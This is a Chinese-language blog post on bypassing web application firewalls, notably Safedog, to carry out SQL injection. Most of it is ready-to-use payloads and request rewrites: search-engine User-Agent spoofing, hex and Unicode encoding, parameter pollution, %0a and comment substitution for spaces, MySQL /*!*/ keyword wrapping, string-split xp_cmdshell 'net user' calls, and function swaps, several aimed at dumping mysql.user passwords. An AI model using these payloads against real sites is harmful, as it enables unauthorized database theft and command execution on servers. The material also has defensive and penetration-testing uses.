绕过waf方法

参考:绕过WAF、安全狗知识整理 - 珍惜少年时 - 博客园

SQL注入 | 9种绕过Web应用程序防火墙的方式 - FreeBuf互联网安全新媒体平台

目前市场上的WAF主要有以下几类

1. 以安全狗为代表的基于软件WAF

2. 百度加速乐、安全宝等部署在云端的WAF

3. 硬件WAF

WAF的检测主要有三个阶段,我画了一张图进行说明


WAF身份认证阶段的绕过

WAF是有一个白名单的,在白名单内的客户请求将不做检测

早些版本的安全狗是有这个漏洞的,就是把User-Agent修改为搜索引擎,便可以绕过,进行sql注入等攻击。

WAF数据包解析阶段的绕过

(1)编码绕过

urlencode(早期方法 不一定有用)


Hex encode

target.com/index.php?page_id=-15/*!u%6eion*/ /*!se%6cect*/ 1,2,3,4…

   SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))

Unicode encode

?id=10%D6‘%20AND%201=2%23      SELECT'Ä'='A';#1


(2)修改请求方式绕过

我想玩渗透的都知道cookie中转注入,最典型的修改请求方式绕过,很多的asp,aspx网站都存在这个问题,有时候WAF对GET进行了过滤,但是Cookie甚至POST参数却没有检测。

(3)复参数绕过

通过提供多个参数=相同名称的值集来混淆WAF。例如http://example.com?id=1&?id=’or ‘1’=’1′ — ‘在某些情况下(例如使用Apache/PHP),应用程序将仅解析最后(第二个) id= 而WAF只解析第一个。在应用程序看来这似乎是一个合法的请求,因此应用程序会接收并处理这些恶意输入。如今,大多数的WAF都不会受到HTTP参数污染(HPP)的影响,但仍然值得一试。

例如一个请求是这样的

GET /pen/news.PHP?id=1 union select user,password fromMySQL.user

可以修改为

GET /pen/news.php?id=1&id=union&id=select&id=user,password&id=from%20mysql.user

很多WAF都可以这样绕,测试最新版安全狗能绕过部分语句

WAF触发规则的绕过

WAF在这里主要是针对一些特殊的关键词或者用法进行检测。绕过方法很多,也是最有效的。

(1)特殊字符替换空格

用一些特殊字符代替空格,比如在mysql中%0a是换行,可以代替空格,这个方法也可以部分绕过最新版本的安全狗,在sqlserver中可以用/**/代替空格

(2)特殊字符拼接

把特殊字符拼接起来绕过WAF的检测,比如在Mysql中,可以利用注释/**/来绕过,在mssql中,函数里面可以用+来拼接

比如

GET /pen/news.php?id=1;exec(master..xp_cmdshell 'net user')

可改为

GET /pen/news.php?id=1; exec('maste'+'r..xp'+'_cmdshell'+'"net user"')

(3)注释包含关键字

在mysql中,可以利用/*!*/包含关键词进行绕过,在mysql中这个不是注释,而是取消注释的内容。测试最新版本的安全狗可以完美绕过

GET /pen/news.php?id=1 union selectuser,password frommysql.user  

改为

GET /pen/news.php?id=1 /*!union*//*!select*/user,password /*!from*/mysql.user

(4)某些函数或命令,因为WAF的过滤机制导致我们无法使用。那么,我们也可以尝试用一些等价函数来替代它们。

hex()、bin() ==>ascii()

sleep() ==>benchmark()

concat_ws()==>group_concat() substr((select'password'),1,1) =0x70

strcmp(left('password',1),0x69) =1

strcmp(left('password',1),0x70) =0

strcmp(left('password',1),0x71) =-1

mid()、substr() ==>substring()

@@user ==>user()

@@datadir ==>datadir()

你可能感兴趣的:(绕过waf方法)